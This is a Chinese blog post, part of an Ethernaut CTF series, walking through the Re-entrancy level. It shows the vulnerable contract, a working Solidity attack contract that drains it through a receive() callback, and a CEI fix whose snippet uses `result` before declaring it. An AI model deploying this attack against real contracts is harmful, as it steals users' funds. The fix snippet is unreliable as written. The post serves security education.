iT邦幫忙

2022 iThome 鐵人賽

DAY 13
0

(Re-entrancy)倒楣鬼程式碼

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

通關條件

玩家必須要把整個合約的錢掏光才能通過此關

先備知識 Re-entrancy

Re-entrancy (可重入性),是一個讓使用者能夠惡意提款二次的漏洞,在 2016 年時發生的 The DAO Hack 事件正是因為這個可重入性的漏洞,導致當時被駭客盜走了總量約為總發行量的 14% 的以太幣(在當時),而這個漏洞的發生/攻擊卻是相當的明確,當轉帳操作先於扣款操作執行時,駭客能夠在合約內的接收函數 (fallback/receive) 內再次執行 withdraw,由於智能合約轉帳必須經過 receive ,因此當程式碼先執行 withdraw,接著合約會轉帳進入惡意合約,這時將觸發 receive,而 receive 內則可以再執行一次 withdraw,由於扣款操作尚未執行,於區塊鏈上記載的餘額還是足以執行 withdraw,因此合約能夠再次進行轉帳,成功地進行惡意的二次取款。

程式碼

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

我們將程式碼聚焦在這個 withdraw 即可,可以看到合約先進行 call 操作以轉帳給 msg.sender,接著才會在合約內扣除對應的款項,這是相當典型的 Re-entrancy 的漏洞。

通關

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Re_entrancy {
    function withdraw(uint) external;
    function donate(address) external payable;
}

contract Attack {
  
    uint amount;
    Re_entrancy target = Re_entrancy("Your instance address");

    function hack_donate() public payable {
        amount = msg.value;
        target.donate{value : msg.value}(address(this));
    }

    function balanceOf() public view returns (uint balance) {
        return address(this).balance;
    }

    function hack_withdraw() public {
        target.withdraw(amount);
    }

    receive() external payable {
        target.withdraw(amount);
    }

    function withdraw_() public {
        selfdestruct(msg.sender);
    }
}

將合約部署上鏈後,我們先來執行 hack_donate,這樣我們才有足夠的餘額能夠把錢取出,而轉入的量就相當於

await getBalance(await contract.address).then(v => toWei(v))
// 1000000000000000

執行完後可以查看合約的 balance,可以看到我們順利將錢轉入合約了。

await getBalance(await contract.address).then(v => toWei(v))
// 2000000000000000

然後就是攻擊環節啦,請執行 hack_withdraw
接著再來查看攻擊合約的當前的餘額,請執行 balanceOf

好了,做到這邊我們已經順利將目標合約的錢給掏空拉,你還可以執行 withdraw_ 把偷來的錢通通取出 XD。


☜Ҩ.¬_¬.Ҩ☞ ☜Ҩ.¬_¬.Ҩ☞ ☜Ҩ.¬_¬.Ҩ☞ ☜Ҩ.¬_¬.Ҩ☞

保護

其實這關的保護方法也很直觀,稱為 CEI(Checks, Effects, Interactions),判斷、檢查、影響,其實說白了就是把程式碼倒過來放而已 XD,只是這樣子把程式碼顛倒後就能有效防止重入攻擊,僅僅只是這單行的程式碼,就足以影響整份合約的安全性,因此在撰寫時應當格外小心。

if(balances[msg.sender] >= _amount) {
    balances[msg.sender] -= _amount;
    if(result) {
        _amount;
    }
    (bool result,) = msg.sender.call{value:_amount}("");
}

還有兩種方式稱做可重入互斥鎖,和 Pull 支付,這兩種方法這邊就不多做解釋了,我認為是治標不治本的,我把資料放在 reference 的部分,歡迎有興趣的讀者自己查看囉。

reference

https://betterprogramming.pub/solidity-smart-contract-security-preventing-reentrancy-attacks-fc729339a3ff


上一篇
Day 12 - King
下一篇
Day14 - TheDAOHack
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言